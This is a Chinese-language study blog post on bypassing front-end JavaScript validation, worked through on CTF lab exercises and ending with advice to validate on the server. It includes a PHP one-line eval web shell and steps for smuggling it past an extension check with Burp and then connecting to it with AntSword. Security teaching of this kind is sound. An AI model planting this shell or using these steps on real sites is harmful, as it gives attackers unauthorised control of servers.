js绕过漏洞学习

js绕过

JS绕过是指利用各种技术手段绕过网站或应用程序中使用的JavaScript代码的安全性措施

原理

利用JavaScript在客户端执行以及前端验证等机制的特性,从而绕过网站或应用程序的安全防护,执行未经授权的操作或窃取敏感信息。

  1. JavaScript是一种在客户端执行的脚本语言,其代码在用户的浏览器中运行

  2. 输入验证不完善:网站和应用程序通常使用JavaScript进行前端输入验证,以确保用户提供的数据是有效和安全的。如果输入验证不完善或者完全依赖客户端验证,攻击者可以通过提交恶意数据来绕过这些验证。

  3. 前端认证绕过:如果网站或应用程序依赖于前端认证机制来限制用户权限,攻击者可以模拟或篡改这些认证信息,从而获得未授权的访问权限(禁用js)

漏洞操作

1.禁用js

F12禁用js

实战:摸鱼大闯关 - Stage 15 - 怎么做都错~(#`Д´)ノ

        function check(){
            var passwd = document.getElementById("passwd").value;
            if (passwd === "") {
                alert("错误: 密码不能为空!");
            } else {
                alert("错误: 密码就是空的!");
            }
            return false;
        }

其他方法:

修改前端代码:

F12 -元素-选中填写的表单-以HTML格式修改

添加<button type="submit">提交</button> 点击提交

原理(?):js代码只检测了原本提交的密码,没有检测添加按钮提交的密码

2.利用bp抓包绕过

实战:BUUCTF Upload-Labs-Linux

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

1.编辑txt文本一句话木马

<?php @eval($_POST['attack']);?>

2.将文件后缀改为.jpg(js允许的格式)

3.上传文件,然后使用bp抓取上传的数据包

4.修改文件后缀为.php, 放包

5.复制图片地址 ,使用蚁剑连接


关键函数:

  1. document.getElementsByName('upload_file')[0].value;

  • 这是通过JavaScript的DOM(文档对象模型)获取名为 "upload_file" 的文件上传表单元素的值,即用户选择的上传文件的路径。

  • document.getElementsByName('upload_file') 是一个获取具有指定名称的所有元素的方法,它返回一个节点列表(NodeList)对象。在这里,我们假设只有一个元素符合名称 "upload_file",所以使用索引 [0] 来获取第一个匹配的元素。

  • .value 是获取元素的值的属性。在这个代码段中,获取到的值是用户选择的文件的路径

  1. allow_ext.indexOf(ext_name + "|") == -1

  • allow_ext.indexOf(ext_name + "|") 是一个字符串的查找方法。它用于检查 ext_name 是否包含在 allow_ext 这个字符串中。

  • indexOf() 方法可返回数组中某个指定的元素位置。也可返回某个指定的字符串值在字符串中首次出现的位置。若没有检索到则返回-1;

  • ext_name 是用户选择上传文件的后缀名,allow_ext 是允许上传的文件类型组成的字符串,例如 ".jpg|.png|.gif"。ext_name + "|" 这一部分是为了保证 ext_nameallow_ext 中的查找不会出错,避免部分后缀名的误匹配,例如 ".png" 可能会匹配到 ".png2" 这样的后缀名。 如果 ext_name 不在 allow_ext 中(即返回值为 -1),则说明用户选择的文件类型不允许上传。

漏洞利用

  1. 数据泄露:绕过输入验证或其他安全措施,访问和窃取网站或应用程序中的敏感数据,例如用户个人信息、信用卡信息、登录凭据等。

  2. 身份伪装:通过前端认证绕过或篡改认证信息,获取其他用户的登录权限,从而冒充合法用户进行未经授权的操作。

  3. 会话劫持:利用JS绕过漏洞来劫持用户的会话,绕过正常登录流程,从而获取未经授权的访问权限。

  4. 恶意操作:可以通过绕过安全措施执行恶意代码,对网站或应用程序进行破坏、篡改或删除关键数据,导致服务中断或故障。

  5. 网站挂马:利用JS绕过漏洞在网站或应用程序中插入恶意脚本,将其作为恶意代码传播的途径,让其他用户也受到攻击。

  6. 拒绝服务攻击(DDos):利用JS绕过漏洞执行恶意代码,导致服务器过载,从而使网站或应用程序无法正常响应用户请求,造成拒绝服务。

漏洞防御

  1. 避免直接在前端进行验证,因为攻击者可以轻易绕过这种验证。

  2. 对于重要的操作和敏感数据,始终在后端服务器进行验证。不要依赖前端的验证

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值